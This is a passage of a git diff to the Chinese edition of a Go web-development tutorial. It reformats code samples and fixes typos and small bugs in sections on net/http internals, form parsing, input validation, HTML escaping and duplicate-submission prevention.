fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 +package main + +import ( + "fmt" + "net/http" + "strings" + "log" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析参数,默认是不会解析的 + fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) } - - func main() { - http.HandleFunc("/", sayhelloName) //设置访问的路由 - err := http.ListenAndServe(":9090", nil) //设置监听的端口 - if err != nil { - log.Fatal("ListenAndServe: ", err) - } + fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 +} + +func main() { + http.HandleFunc("/", sayhelloName) //设置访问的路由 + err := http.ListenAndServe(":9090", nil) //设置监听的端口 + if err != nil { + log.Fatal("ListenAndServe: ", err) } - +} + ``` 上面这个代码,我们build之后,然后执行web.exe,这个时候其实已经在9090端口监听http链接请求了。 diff --git a/zh/03.3.md b/zh/03.3.md index ceab0656c..f01643788 100644 --- a/zh/03.3.md +++ b/zh/03.3.md @@ -1,4 +1,5 @@ # 3.3 Go如何使得Web工作 + 前面小节介绍了如何通过Go搭建一个Web服务,我们可以看到简单应用一个net/http包就方便的搭建起来了。那么Go在底层到底是怎么做的呢?万变不离其宗,Go的Web服务工作也离不开我们第一小节介绍的Web工作方式。 ## web工作方式的几个概念 @@ -15,7 +16,7 @@ Handler:处理请求和生成返回信息的处理逻辑 ## 分析http包运行机制 -如下图所示,是Go实现Web服务的工作模式的流程图 +下图是Go实现Web服务的工作模式的流程图 ![](images/3.3.http.png?raw=true) @@ -33,46 +34,117 @@ Handler:处理请求和生成返回信息的处理逻辑 - 如何接收客户端请求? - 如何分配handler? -前面小节的代码里面我们可以看到,Go是通过一个函数`ListenAndServe`来处理这些事情的,这个底层其实这样处理的:初始化一个server对象,然后调用了`net.Listen("tcp", addr)`,也就是底层用TCP协议搭建了一个服务,然后监控我们设置的端口。 +前面小节的代码里面我们可以看到,Go是通过一个函数`ListenAndServe`来处理这些事情的,其实现源码如下: -下面代码来自Go的http包的源码,通过下面的代码我们可以看到整个的http处理过程: ```Go +func ListenAndServe(addr string, handler Handler) error { + server := &Server{Addr: addr, Handler: handler} + return server.ListenAndServe() +} - func (srv *Server) Serve(l net.Listener) error { - defer l.Close() - var tempDelay time.Duration // how long to sleep on accept failure - for { - rw, e := l.Accept() - if e != nil { - if ne, ok := e.(net.Error); ok && ne.Temporary() { - if tempDelay == 0 { - tempDelay = 5 * time.Millisecond - } else { - tempDelay *= 2 - } - if max := 1 * time.Second; tempDelay > max { - tempDelay = max - } - log.Printf("http: Accept error: %v; retrying in %v", e, tempDelay) - time.Sleep(tempDelay) - continue - } - return e - } - tempDelay = 0 - c, err := srv.newConn(rw) - if err != nil { - continue +``` + +`ListenAndServe`会初始化一个`sever`对象,然后调用了`Server`对象的方法`ListenAndServe`。其源码如下: + +```Go +func (srv *Server) ListenAndServe() error { + if srv.shuttingDown() { + return ErrServerClosed + } + addr := srv.Addr + if addr == "" { + addr = ":http" + } + ln, err := net.Listen("tcp", addr) + if err != nil { + return err + } + return srv.Serve(ln) +} + +``` + +`ListenAndServe`调用了`net.Listen("tcp", addr)`,也就是底层用TCP协议搭建了一个服务,最后调用`src.Serve`监控我们设置的端口。监控之后如何接收客户端的请求呢? + +`Serve`的具体实现如下(为突出重点,仅展示关键代码),通过下面的分析源码我们可以看到客户端请求的具体处理过程: + +```Go + +func (srv *Server) Serve(l net.Listener) error { + ... + + ctx := context.WithValue(baseCtx, ServerContextKey, srv) + for { + rw, err := l.Accept() + ... + + connCtx := ctx + if cc := srv.ConnContext; cc != nil { + connCtx = cc(connCtx, rw) + if connCtx == nil { + panic("ConnContext returned nil") } - go c.serve() } + tempDelay = 0 + c := srv.newConn(rw) + c.setState(c.rwc, StateNew, runHooks) // before Serve can return + go c.serve(connCtx) } +} + +``` + +这个函数里面起了一个`for{}`,首先通过Listener接收请求:`l.Accept()`,其次创建一个Conn:`c := srv.newConn(rw)`,最后单独开了一个goroutine,把这个请求的数据当做参数扔给这个conn去服务:`go c.serve(connCtx)`。这个就是高并发体现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响。 + +那么如何具体分配到相应的函数来处理请求呢?我们继续分析conn的`serve`方法,其源码如下(为突出重点,仅展示关键代码): + +```Go +func (c *conn) serve(ctx context.Context) { + ... + + ctx, cancelCtx := context.WithCancel(ctx) + c.cancelCtx = cancelCtx + defer cancelCtx() + + c.r = &connReader{conn: c} + c.bufr = newBufioReader(c.r) + c.bufw = newBufioWriterSize(checkConnErrorWriter{c}, 4<<10) + + for { + w, err := c.readRequest(ctx) + ... + + // HTTP cannot have multiple simultaneous active requests.[*] + // Until the server replies to this request, it can't read another, + // so we might as well run the handler in this goroutine. + // [*] Not strictly true: HTTP pipelining. We could let them all process + // in parallel even if their responses need to be serialized. + // But we're not going to implement HTTP pipelining because it + // was never deployed in the wild and the answer is HTTP/2. + serverHandler{c.server}.ServeHTTP(w, w.req) + w.cancelCtx() + ... + } +} ``` -监控之后如何接收客户端的请求呢?上面代码执行监控端口之后,调用了`srv.Serve(net.Listener)`函数,这个函数就是处理接收客户端的请求信息。这个函数里面起了一个`for{}`,首先通过Listener接收请求,其次创建一个Conn,最后单独开了一个goroutine,把这个请求的数据当做参数扔给这个conn去服务:`go c.serve()`。这个就是高并发体现了,用户的每一次请求都是在一个新的goroutine去服务,相互不影响。 -那么如何具体分配到相应的函数来处理请求呢?conn首先会解析request:`c.readRequest()`,然后获取相应的handler:`handler := c.server.Handler`,也就是我们刚才在调用函数`ListenAndServe`时候的第二个参数,我们前面例子传递的是nil,也就是为空,那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢?对,这个变量就是一个路由器,它用来匹配url跳转到其相应的handle函数,那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则,当请求uri为"/",路由就会转到函数sayhelloName,DefaultServeMux会调用ServeHTTP方法,这个方法内部其实就是调用sayhelloName本身,最后通过写入response的信息反馈到客户端。 +conn首先会解析request:`w, err := c.readRequest(ctx)`, 然后获取相应的handler去处理请求:`serverHandler{c.server}.ServeHTTP(w, w.req)`,`ServeHTTP`的具体实现如下: + +```Go +func (sh serverHandler) ServeHTTP(rw ResponseWriter, req *Request) { + handler := sh.srv.Handler + if handler == nil { + handler = DefaultServeMux + } + if req.RequestURI == "*" && req.Method == "OPTIONS" { + handler = globalOptionsHandler{} + } + handler.ServeHTTP(rw, req) +} +``` +`sh.srv.Handler`就是我们刚才在调用函数`ListenAndServe`时候的第二个参数,我们前面例子传递的是nil,也就是为空,那么默认获取`handler = DefaultServeMux`,那么这个变量用来做什么的呢?对,这个变量就是一个路由器,它用来匹配url跳转到其相应的handle函数,那么这个我们有设置过吗?有,我们调用的代码里面第一句不是调用了`http.HandleFunc("/", sayhelloName)`嘛。这个作用就是注册了请求`/`的路由规则,当请求uri为"/",路由就会转到函数sayhelloName,DefaultServeMux会调用ServeHTTP方法,这个方法内部其实就是调用sayhelloName本身,最后通过写入response的信息反馈到客户端。 详细的整个流程如下图所示: @@ -80,10 +152,10 @@ Handler:处理请求和生成返回信息的处理逻辑 图3.10 一个http连接处理流程 -至此我们的三个问题已经全部得到了解答,你现在对于Go如何让Web跑起来的是否已经基本了解呢? - +至此我们的三个问题已经全部得到了解答,你现在对于Go如何让Web跑起来的是否已经基本了解了呢? ## links - * [目录]() - * 上一节: [GO搭建一个简单的web服务](<03.2.md>) - * 下一节: [Go的http包详解](<03.4.md>) + +* [目录]() +* 上一节: [GO搭建一个简单的web服务](<03.2.md>) +* 下一节: [Go的http包详解](<03.4.md>) diff --git a/zh/03.4.md b/zh/03.4.md index a76b9a019..a8e813727 100644 --- a/zh/03.4.md +++ b/zh/03.4.md @@ -9,11 +9,11 @@ Go的http有两个核心功能:Conn、ServeMux Go在等待客户端请求里面是这样写的: ```Go - c, err := srv.newConn(rw) - if err != nil { - continue - } - go c.serve() +c, err := srv.newConn(rw) +if err != nil { + continue +} +go c.serve() ``` 这里我们可以看到客户端的每次请求都会创建一个Conn,这个Conn里面保存了该次请求的信息,然后再传递到对应的handler,该handler中便可以读取到相应的header信息,这样保证了每个请求的独立性。 @@ -24,85 +24,85 @@ Go在等待客户端请求里面是这样写的: 它的结构如下: ```Go - type ServeMux struct { - mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制 - m map[string]muxEntry // 路由规则,一个string对应一个mux实体,这里的string就是注册的路由表达式 - hosts bool // 是否在任意的规则中带有host信息 - } +type ServeMux struct { + mu sync.RWMutex //锁,由于请求涉及到并发处理,因此这里需要一个锁机制 + m map[string]muxEntry // 路由规则,一个string对应一个mux实体,这里的string就是注册的路由表达式 + hosts bool // 是否在任意的规则中带有host信息 +} ``` 下面看一下muxEntry ```Go - type muxEntry struct { - explicit bool // 是否精确匹配 - h Handler // 这个路由表达式对应哪个handler - pattern string //匹配字符串 - } +type muxEntry struct { + explicit bool // 是否精确匹配 + h Handler // 这个路由表达式对应哪个handler + pattern string //匹配字符串 +} ``` 接着看一下Handler的定义 ```Go - type Handler interface { - ServeHTTP(ResponseWriter, *Request) // 路由实现器 - } +type Handler interface { + ServeHTTP(ResponseWriter, *Request) // 路由实现器 +} ``` Handler是一个接口,但是前一小节中的`sayhelloName`函数并没有实现ServeHTTP这个接口,为什么能添加呢?原来在http包里面还定义了一个类型`HandlerFunc`,我们定义的函数`sayhelloName`就是这个HandlerFunc调用之后的结果,这个类型默认就实现了ServeHTTP这个接口,即我们调用了HandlerFunc(f),强制类型转换f成为HandlerFunc类型,这样f就拥有了ServeHTTP方法。 ```Go - type HandlerFunc func(ResponseWriter, *Request) +type HandlerFunc func(ResponseWriter, *Request) - // ServeHTTP calls f(w, r). - func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { - f(w, r) - } +// ServeHTTP calls f(w, r). +func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) { + f(w, r) +} ``` 路由器里面存储好了相应的路由规则之后,那么具体的请求又是怎么分发的呢?请看下面的代码,默认的路由器实现了`ServeHTTP`: ```Go - func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { - if r.RequestURI == "*" { - w.Header().Set("Connection", "close") - w.WriteHeader(StatusBadRequest) - return - } - h, _ := mux.Handler(r) - h.ServeHTTP(w, r) +func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) { + if r.RequestURI == "*" { + w.Header().Set("Connection", "close") + w.WriteHeader(StatusBadRequest) + return } + h, _ := mux.Handler(r) + h.ServeHTTP(w, r) +} ``` 如上所示路由器接收到请求之后,如果是`*`那么关闭链接,不然调用`mux.Handler(r)`返回对应设置路由的处理Handler,然后执行`h.ServeHTTP(w, r)` 也就是调用对应路由的handler的ServerHTTP接口,那么mux.Handler(r)怎么处理的呢? ```Go - func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { - if r.Method != "CONNECT" { - if p := cleanPath(r.URL.Path); p != r.URL.Path { - _, pattern = mux.handler(r.Host, p) - return RedirectHandler(p, StatusMovedPermanently), pattern - } - } - return mux.handler(r.Host, r.URL.Path) - } - - func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { - mux.mu.RLock() - defer mux.mu.RUnlock() - - // Host-specific pattern takes precedence over generic ones - if mux.hosts { - h, pattern = mux.match(host + path) - } - if h == nil { - h, pattern = mux.match(path) +func (mux *ServeMux) Handler(r *Request) (h Handler, pattern string) { + if r.Method != "CONNECT" { + if p := cleanPath(r.URL.Path); p != r.URL.Path { + _, pattern = mux.handler(r.Host, p) + return RedirectHandler(p, StatusMovedPermanently), pattern } - if h == nil { - h, pattern = NotFoundHandler(), "" - } - return + } + return mux.handler(r.Host, r.URL.Path) +} + +func (mux *ServeMux) handler(host, path string) (h Handler, pattern string) { + mux.mu.RLock() + defer mux.mu.RUnlock() + + // Host-specific pattern takes precedence over generic ones + if mux.hosts { + h, pattern = mux.match(host + path) + } + if h == nil { + h, pattern = mux.match(path) } + if h == nil { + h, pattern = NotFoundHandler(), "" + } + return +} ``` 原来他是根据用户请求的URL和路由器里面存储的map去匹配的,当匹配到之后返回存储的handler,调用这个handler的ServeHTTP接口就可以执行到相应的函数了。 @@ -111,33 +111,33 @@ Handler是一个接口,但是前一小节中的`sayhelloName`函数并没有 如下代码所示,我们自己实现了一个简易的路由器 ```Go - package main +package main - import ( - "fmt" - "net/http" - ) +import ( + "fmt" + "net/http" +) - type MyMux struct { - } +type MyMux struct { +} - func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if r.URL.Path == "/" { - sayhelloName(w, r) - return - } - http.NotFound(w, r) +func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.URL.Path == "/" { + sayhelloName(w, r) return } - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - fmt.Fprintf(w, "Hello myroute!") - } - - func main() { - mux := &MyMux{} - http.ListenAndServe(":9090", mux) - } + http.NotFound(w, r) + return +} + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + fmt.Fprintf(w, "Hello myroute!") +} + +func main() { + mux := &MyMux{} + http.ListenAndServe(":9090", mux) +} ``` ## Go代码的执行流程 @@ -181,11 +181,11 @@ Handler是一个接口,但是前一小节中的`sayhelloName`函数并没有 11 选择handler: - A 判断是否有路由能满足这个request(循环遍历ServerMux的muxEntry) + A 判断是否有路由能满足这个request(循环遍历ServeMux的muxEntry) - B 如果有路由满足,调用这个路由handler的ServeHttp + B 如果有路由满足,调用这个路由handler的ServeHTTP - C 如果没有路由满足,调用NotFoundHandler的ServeHttp + C 如果没有路由满足,调用NotFoundHandler的ServeHTTP ## links * [目录]() diff --git a/zh/04.0.md b/zh/04.0.md index 7b84acd11..a171346fa 100644 --- a/zh/04.0.md +++ b/zh/04.0.md @@ -2,7 +2,7 @@ 表单是我们平常编写Web应用常用的工具,通过表单我们可以方便的让客户端和服务器进行数据的交互。对于以前开发过Web的用户来说表单都非常熟悉,但是对于C/C++程序员来说,这可能是一个有些陌生的东西,那么什么是表单呢? -表单是一个包含表单元素的区域。表单元素是允许用户在表单中(比如:文本域、下拉列表、单选框、复选框等等)输入信息的元素。表单使用表单标签(\)定义。 +表单是一个包含表单元素的区域。表单元素(比如:文本域、下拉列表、单选框、复选框等等)是允许用户在表单中输入信息的元素。表单使用表单标签(\)定义。
... @@ -10,7 +10,7 @@ ...
-Go里面对于form处理已经有很方便的方法了,在Request里面的有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。 +Go里面对于form处理已经有很方便的方法了,在Request里面有专门的form处理,可以很方便的整合到Web开发里面来,4.1小节里面将讲解Go如何处理表单的输入。由于不能信任任何用户的输入,所以我们需要对这些输入进行有效性验证,4.2小节将就如何进行一些普通的验证进行详细的演示。 HTTP协议是一种无状态的协议,那么如何才能辨别是否是同一个用户呢?同时又如何保证一个表单不出现多次递交的情况呢?4.3和4.4小节里面将对cookie(cookie是存储在客户端的信息,能够每次通过header和服务器进行交互的数据)等进行详细讲解。 diff --git a/zh/04.1.md b/zh/04.1.md index 95f8d8de6..2b589e258 100644 --- a/zh/04.1.md +++ b/zh/04.1.md @@ -3,68 +3,68 @@ 先来看一个表单递交的例子,我们有如下的表单内容,命名成文件login.gtpl(放入当前新建项目的目录里面) ```html - - - - - -
- 用户名: - 密码: - -
- - + + + + + +
+ 用户名: + 密码: + +
+ + ``` -上面递交表单到服务器的`/login`,当用户输入信息点击登陆之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢? +上面递交表单到服务器的`/login`,当用户输入信息点击登录之后,会跳转到服务器的路由`login`里面,我们首先要判断这个是什么方式传递过来,POST还是GET呢? http包里面有一个很简单的方式就可以获取,我们在前面web的例子的基础上来看看怎么处理login页面的form数据 ```Go - package main - - import ( - "fmt" - "html/template" - "log" - "net/http" - "strings" - ) - - func sayhelloName(w http.ResponseWriter, r *http.Request) { - r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body) - //注意:如果没有调用ParseForm方法,下面无法获取表单的数据 - fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 - fmt.Println("path", r.URL.Path) - fmt.Println("scheme", r.URL.Scheme) - fmt.Println(r.Form["url_long"]) - for k, v := range r.Form { - fmt.Println("key:", k) - fmt.Println("val:", strings.Join(v, "")) - } - fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 +package main + +import ( + "fmt" + "html/template" + "log" + "net/http" + "strings" +) + +func sayhelloName(w http.ResponseWriter, r *http.Request) { + r.ParseForm() //解析url传递的参数,对于POST则解析响应包的主体(request body) + //注意:如果没有调用ParseForm方法,下面无法获取表单的数据 + fmt.Println(r.Form) //这些信息是输出到服务器端的打印信息 + fmt.Println("path", r.URL.Path) + fmt.Println("scheme", r.URL.Scheme) + fmt.Println(r.Form["url_long"]) + for k, v := range r.Form { + fmt.Println("key:", k) + fmt.Println("val:", strings.Join(v, "")) } - - func login(w http.ResponseWriter, r *http.Request) { - fmt.Println("method:", r.Method) //获取请求的方法 - if r.Method == "GET" { - t, _ := template.ParseFiles("login.gtpl") - log.Println(t.Execute(w, nil)) - } else { - //请求的是登陆数据,那么执行登陆的逻辑判断 - fmt.Println("username:", r.Form["username"]) - fmt.Println("password:", r.Form["password"]) - } + fmt.Fprintf(w, "Hello astaxie!") //这个写入到w的是输出到客户端的 +} + +func login(w http.ResponseWriter, r *http.Request) { + fmt.Println("method:", r.Method) //获取请求的方法 + if r.Method == "GET" { + t, _ := template.ParseFiles("login.gtpl") + log.Println(t.Execute(w, nil)) + } else { + //请求的是登录数据,那么执行登录的逻辑判断 + fmt.Println("username:", r.Form["username"]) + fmt.Println("password:", r.Form["password"]) } - - func main() { - http.HandleFunc("/", sayhelloName) //设置访问的路由 - http.HandleFunc("/login", login) //设置访问的路由 - err := http.ListenAndServe(":9090", nil) //设置监听的端口 - if err != nil { - log.Fatal("ListenAndServe: ", err) - } +} + +func main() { + http.HandleFunc("/", sayhelloName) //设置访问的路由 + http.HandleFunc("/login", login) //设置访问的路由 + err := http.ListenAndServe(":9090", nil) //设置监听的端口 + if err != nil { + log.Fatal("ListenAndServe: ", err) } +} ``` 通过上面的代码我们可以看出获取请求方法是通过`r.Method`来完成的,这是个字符串类型的变量,返回GET, POST, PUT等method信息。 @@ -87,21 +87,21 @@ login函数中我们根据`r.Method`来判断是显示登录界面还是处理 ![](images/4.1.slice.png?raw=true) -图4.2 服务器端打印接受到的信息 +图4.2 服务器端打印接收到的信息 `request.Form`是一个url.Values类型,里面存储的是对应的类似`key=value`的信息,下面展示了可以对form数据进行的一些操作: ```Go - v := url.Values{} - v.Set("name", "Ava") - v.Add("friend", "Jess") - v.Add("friend", "Sarah") - v.Add("friend", "Zoe") - // v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" - fmt.Println(v.Get("name")) - fmt.Println(v.Get("friend")) - fmt.Println(v["friend"]) - +v := url.Values{} +v.Set("name", "Ava") +v.Add("friend", "Jess") +v.Add("friend", "Sarah") +v.Add("friend", "Zoe") +// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe" +fmt.Println(v.Get("name")) +fmt.Println(v.Get("friend")) +fmt.Println(v["friend"]) + ``` >**Tips**: >Request本身也提供了FormValue()函数来获取用户提交的参数。如r.Form["username"]也可写成r.FormValue("username")。调用r.FormValue时会自动调用r.ParseForm,所以不必提前调用。r.FormValue只会返回同名参数中的第一个,若参数不存在则返回空字符串。 diff --git a/zh/04.2.md b/zh/04.2.md index 7081428aa..e54ce13f3 100644 --- a/zh/04.2.md +++ b/zh/04.2.md @@ -8,9 +8,9 @@ 你想要确保从一个表单元素中得到一个值,例如前面小节里面的用户名,我们如何处理呢?Go有一个内置函数`len`可以获取字符串的长度,这样我们就可以通过len来获取数据的长度,例如: ```Go - if len(r.Form["username"][0])==0{ - //为空的处理 - } +if len(r.Form["username"][0])==0{ + //为空的处理 +} ``` `r.Form`对不同类型的表单元素的留空有不同的处理, 对于空文本框、空文本区域以及文件上传,元素的值为空值,而如果是未选中的复选框和单选按钮,则根本不会在r.Form中产生相应条目,如果我们用上面例子中的方式去获取数据时程序就会报错。所以我们需要通过`r.Form.Get()`来获取值,因为如果字段不存在,通过该方式获取的是空值。但是通过`r.Form.Get()`只能获取单个的值,如果是map的值,必须通过上面的方式来获取。 @@ -20,22 +20,22 @@ 如果我们是判断正整数,那么我们先转化成int类型,然后进行处理 ```Go - getint,err:=strconv.Atoi(r.Form.Get("age")) - if err!=nil{ - //数字转化出错了,那么可能就不是数字 - } +getint,err:=strconv.Atoi(r.Form.Get("age")) +if err!=nil{ + //数字转化出错了,那么可能就不是数字 +} - //接下来就可以判断这个数字的大小范围了 - if getint >100 { - //太大了 - } +//接下来就可以判断这个数字的大小范围了 +if getint >100 { + //太大了 +} ``` 还有一种方式就是正则匹配的方式 ```Go - if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { - return false - } +if m, _ := regexp.MatchString("^[0-9]+$", r.Form.Get("age")); !m { + return false +} ``` 对于性能要求很高的用户来说,这是一个老生常谈的问题了,他们认为应该尽量避免使用正则表达式,因为使用正则表达式的速度会比较慢。但是在目前机器性能那么强劲的情况下,对于这种简单的正则表达式效率和类型转换函数是没有什么差别的。如果你对正则表达式很熟悉,而且你在其它语言中也在使用它,那么在Go里面使用正则表达式将是一个便利的方式。 @@ -45,9 +45,9 @@ 有时候我们想通过表单元素获取一个用户的中文名字,但是又为了保证获取的是正确的中文,我们需要进行验证,而不是用户随便的一些输入。对于中文我们目前有两种方式来验证,可以使用 `unicode` 包提供的 `func Is(rangeTab *RangeTable, r rune) bool` 来验证,也可以使用正则方式来验证,这里使用最简单的正则方式,如下代码所示 ```Go - if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { - return false - } +if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m { + return false +} ``` ## 英文 我们期望通过表单元素获取一个英文值,例如我们想知道一个用户的英文名,应该是astaxie,而不是asta谢。 @@ -55,29 +55,29 @@ 我们可以很简单的通过正则验证数据: ```Go - if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { - return false - } +if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m { + return false +} ``` ## 电子邮件地址 你想知道用户输入的一个Email地址是否正确,通过如下这个方式可以验证: ```Go - if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,}).([a-z]{2,4})$`, r.Form.Get("email")); !m { - fmt.Println("no") - }else{ - fmt.Println("yes") - } +if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,})\.([a-z]{2,4})$`, r.Form.Get("email")); !m { + fmt.Println("no") +}else{ + fmt.Println("yes") +} ``` ## 手机号码 你想要判断用户输入的手机号码是否正确,通过正则也可以验证: ```Go - if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { - return false - } +if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m { + return false +} ``` ## 下拉菜单 如果我们想要判断表单里面` - - - - + ``` 那么我们可以这样来验证 ```Go - slice:=[]string{"apple","pear","banane"} - - v := r.Form.Get("fruit") - for _, item range slice { - if item == v { - return true - } +slice:=[]string{"apple","pear","banana"} + +v := r.Form.Get("fruit") +for _, item := range slice { + if item == v { + return true } - - return false +} + +return false ``` ## 单选按钮 如果我们想要判断radio按钮是否有一个被选中了,我们页面的输出可能就是一个男、女性别的选择,但是也可能一个15岁大的无聊小孩,一手拿着http协议的书,另一只手通过telnet客户端向你的程序在发送请求呢,你设定的性别男值是1,女是2,他给你发送一个3,你的程序会出现异常吗?因此我们也需要像下拉菜单的判断方式类似,判断我们获取的值是我们预设的值,而不是额外的值。 ```html - 男 - 女 +男 +女 ``` 那我们也可以类似下拉菜单的做法一样 ```Go - slice:=[]int{1,2} +slice:=[]string{"1","2"} - for _, v := range slice { - if v == r.Form.Get("gender") { - return true - } +for _, v := range slice { + if v == r.Form.Get("gender") { + return true } - return false +} +return false ``` ## 复选框 有一项选择兴趣的复选框,你想确定用户选中的和你提供给用户选择的是同一个类型的数据。 ```html - 足球 - 篮球 - 网球 +足球 +篮球 +网球 ``` 对于复选框我们的验证和单选有点不一样,因为接收到的数据是一个slice ```Go - slice:=[]string{"football","basketball","tennis"} - a:=Slice_diff(r.Form["interest"],slice) - if a == nil{ - return true - } +slice:=[]string{"football","basketball","tennis"} +a:=Slice_diff(r.Form["interest"],slice) +if a == nil{ + return true +} - return false +return false ``` 上面这个函数`Slice_diff`包含在我开源的一个库里面(操作slice和map的库),[https://github.com/astaxie/beeku](https://github.com/astaxie/beeku) @@ -152,8 +152,8 @@ Go里面提供了一个time的处理包,我们可以把用户的输入年月日转化成相应的时间,然后进行逻辑判断 ```Go - t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) - fmt.Printf("Go launched at %s\n", t.Local()) +t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC) +fmt.Printf("Go launched at %s\n", t.Local()) ``` 获取time之后我们就可以进行很多时间函数的操作。具体的判断就根据自己的需求调整。 @@ -161,16 +161,16 @@ Go里面提供了一个time的处理包,我们可以把用户的输入年月 如果我们想验证表单输入的是否是身份证,通过正则也可以方便的验证,但是身份证有15位和18位,我们两个都需要验证 ```Go - //验证15位身份证,15位的是全部数字 - if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { - return false - } +//验证15位身份证,15位的是全部数字 +if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard")); !m { + return false +} + +//验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。 +if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { + return false +} - //验证18位身份证,18位前17位为数字,最后一位是校验位,可能为数字或字符X。 - if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get("usercard")); !m { - return false - } - ``` 上面列出了我们一些常用的服务器端的表单元素验证,希望通过这个引导入门,能够让你对Go的数据验证有所了解,特别是Go里面的正则处理。 diff --git a/zh/04.3.md b/zh/04.3.md index 42c458eef..ac4240883 100644 --- a/zh/04.3.md +++ b/zh/04.3.md @@ -16,9 +16,9 @@ 我们看4.1小节的例子 ```Go - fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 - fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) - template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 +fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //输出到服务器端 +fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password"))) +template.HTMLEscape(w, []byte(r.Form.Get("username"))) //输出到客户端 ``` 如果我们输入的username是``,那么我们可以在浏览器上面看到输出如下所示: @@ -29,10 +29,10 @@ Go的html/template包默认帮你过滤了html标签,但是有时候你只想要输出这个``看起来正常的信息,该怎么处理?请使用text/template。请看下面的例子: ```Go - import "text/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") +import "text/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", "") ``` 输出 @@ -41,10 +41,10 @@ Go的html/template包默认帮你过滤了html标签,但是有时候你只想 或者使用template.HTML类型 ```Go - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", template.HTML("")) +import "html/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", template.HTML("")) ``` 输出 @@ -55,10 +55,10 @@ Go的html/template包默认帮你过滤了html标签,但是有时候你只想 转义的例子: ```Go - import "html/template" - ... - t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) - err = t.ExecuteTemplate(out, "T", "") +import "html/template" +... +t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!{{end}}`) +err = t.ExecuteTemplate(out, "T", "") ``` 转义之后的输出: diff --git a/zh/04.4.md b/zh/04.4.md index 85c5500fb..cbe175a98 100644 --- a/zh/04.4.md +++ b/zh/04.4.md @@ -2,47 +2,47 @@ 不知道你是否曾经看到过一个论坛或者博客,在一个帖子或者文章后面出现多条重复的记录,这些大多数是因为用户重复递交了留言的表单引起的。由于种种原因,用户经常会重复递交表单。通常这只是鼠标的误操作,如双击了递交按钮,也可能是为了编辑或者再次核对填写过的信息,点击了浏览器的后退按钮,然后又再次点击了递交按钮而不是浏览器的前进按钮。当然,也可能是故意的——比如,在某项在线调查或者博彩活动中重复投票。那我们如何有效的防止用户多次递交相同的表单呢? -解决方案是在表单中添加一个带有唯一值的隐藏字段。在验证表单时,先检查带有该惟一值的表单是否已经递交过了。如果是,拒绝再次递交;如果不是,则处理表单进行逻辑处理。另外,如果是采用了Ajax模式递交表单的话,当表单递交后,通过javascript来禁用表单的递交按钮。 